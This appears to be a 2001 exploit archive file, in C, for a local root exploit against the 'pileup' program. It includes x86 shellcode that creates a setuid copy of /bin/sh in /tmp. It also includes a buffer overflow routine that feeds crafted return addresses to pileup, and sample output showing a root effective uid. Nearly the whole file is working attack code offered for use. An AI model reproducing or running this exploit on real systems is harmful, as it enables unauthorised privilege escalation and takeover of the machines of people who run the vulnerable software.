132 lines
No EOL
3.3 KiB
C
132 lines
No EOL
3.3 KiB
C
/* pileup-xpl.c - local root exploit
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*
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* by core
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*
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* Friday the 13th, July 2001
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*
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* based almost entirely on code by Cody Tubbs (loophole of hhp)
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*
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* $ ./pileup-xpl
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* pileup-xpl by core 2001 - beep beep root!
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* usage: ./pileup-xpl [offset] [align(0..3)]
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* Ret-addr: 0xbfffe09c, offset: 0, align: 0.
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* How many voices (1 to 9)
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* Starting speed (wpm)
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* (C)ompetion mode or (P)ractice mode
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* Enter '0' to abort the session! GL..
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*
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* TX RX TX RX
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* -- -- -- --
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*
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* Accuracy: 0/6. Max speed: 13
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* Score: 0
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* Score: core wins!
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* core-2.03# id
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* uid=1000(core) gid=1000(core) euid=0(root) groups=1000(core)
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* core-2.03# exit
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* $
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*
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* greetz b10z, hhp, loophole
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*
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <unistd.h>
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#define SH_IS_BASH 1 /* if /bin/sh -> /bin/bash */
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#define PATH "/usr/bin/pileup" // Change to direct path if needed.
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#define OFFSET 0 // Worked for me.
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#define ALIGN 0 // Don't change.
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#define NOP 0x90 // x86 No OPeration.
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#define DBUF 20 // 16+4(ebp)+4(eip)=24.
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#define DAT "calls.dat" // Required for exploitation.
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static char shellcode[]=
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"\x31\xc0" /* set[gu]id(0);/bin/cp /bin/sh /tmp/core;chmod 4555 /tmp/core */
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"\x31\xdb\xb0\x17\xcd\x80\x66\x31\xc0\x66\x31\xdb\xb0\x2e\xcd\x80"
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"\xeb\x5e\x5f\x31\xc0\x88\x47\x07\x88\x47\x0f\x88\x47\x19\x89\x7f"
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"\x1a\x8d\x77\x08\x89\x77\x1e\x31\xf6\x8d\x77\x10\x89\x77\x22\x89"
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"\x47\x26\x89\xfb\x8d\x4f\x1a\x8d\x57\x26\x31\xc0\xb0\x02\xcd\x80"
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"\x31\xf6\x39\xc6\x75\x06\xb0\x0b\xcd\x80\xeb\x1d\x31\xd2\x31\xc0"
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"\x31\xdb\x4b\x8d\x4f\x26\xb0\x07\xcd\x80\x31\xc0\x8d\x5f\x10\x31"
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"\xc9\x66\xb9\x6d\x09\xb0\x0f\xcd\x80\x31\xc0\x40\x31\xdb\xcd\x80"
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"\xe8\x9d\xff\xff\xff/bin/cp8/bin/sh8/tmp/core";
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long get_sp(void) {
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__asm__("movl %esp,%eax");
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}
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void usage(char *name){
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fprintf(stderr, "pileup-xpl by core 2001 - beep beep root!\n");
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fprintf(stderr, "usage: %s [offset] [align(0..3)]\n", name);
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}
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int main(int argc, char **argv){
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char eipeip[DBUF], buffer[7192];
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char go[DBUF + 22];
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FILE *calls;
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int i, offset, align;
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long address;
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usage(argv[0]);
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/* Remove the config and write OWNED! */
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unlink(DAT);
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calls = fopen(DAT, "w");
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fprintf(calls, "OWNED\n");
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fclose(calls);
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/* Do command line */
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if (argc > 1) {
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offset = atoi(argv[1]);
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}
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else {
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offset = OFFSET;
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}
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if (argc > 2) {
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align = atoi(argv[2]);
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}
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else {
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align = ALIGN;
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}
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address = get_sp() - offset;
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if (align > 0) {
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for(i=0; i < align; i++) {
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eipeip[i] = 0x69;
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}
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}
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for (i=align; i < DBUF; i+=4) {
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*(long *)&eipeip[i] = address;
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}
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for (i=0; i < (7192 - strlen(shellcode) - strlen(eipeip)); i++) {
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buffer[i] = NOP;
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}
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/* setup the environment */
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memcpy(buffer + i, shellcode, strlen(shellcode));
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memcpy(buffer, "UPEX=", 5);
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putenv(buffer);
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fprintf(stderr, "Ret-addr: %#x, offset: %d, align: %d.\n", address, \
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offset, align);
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sprintf(go, "(printf '1\n0\nC\n%s\n0\n')|%s", eipeip, PATH); //netcat style.
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system(go);
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fprintf(stderr, "Score: core wins!\n");
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#ifdef SH_IS_BASH
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system("/tmp/core -p");
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#else
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system("/tmp/core");
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#endif
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return 0;
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}
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// milw0rm.com [2001-07-13]
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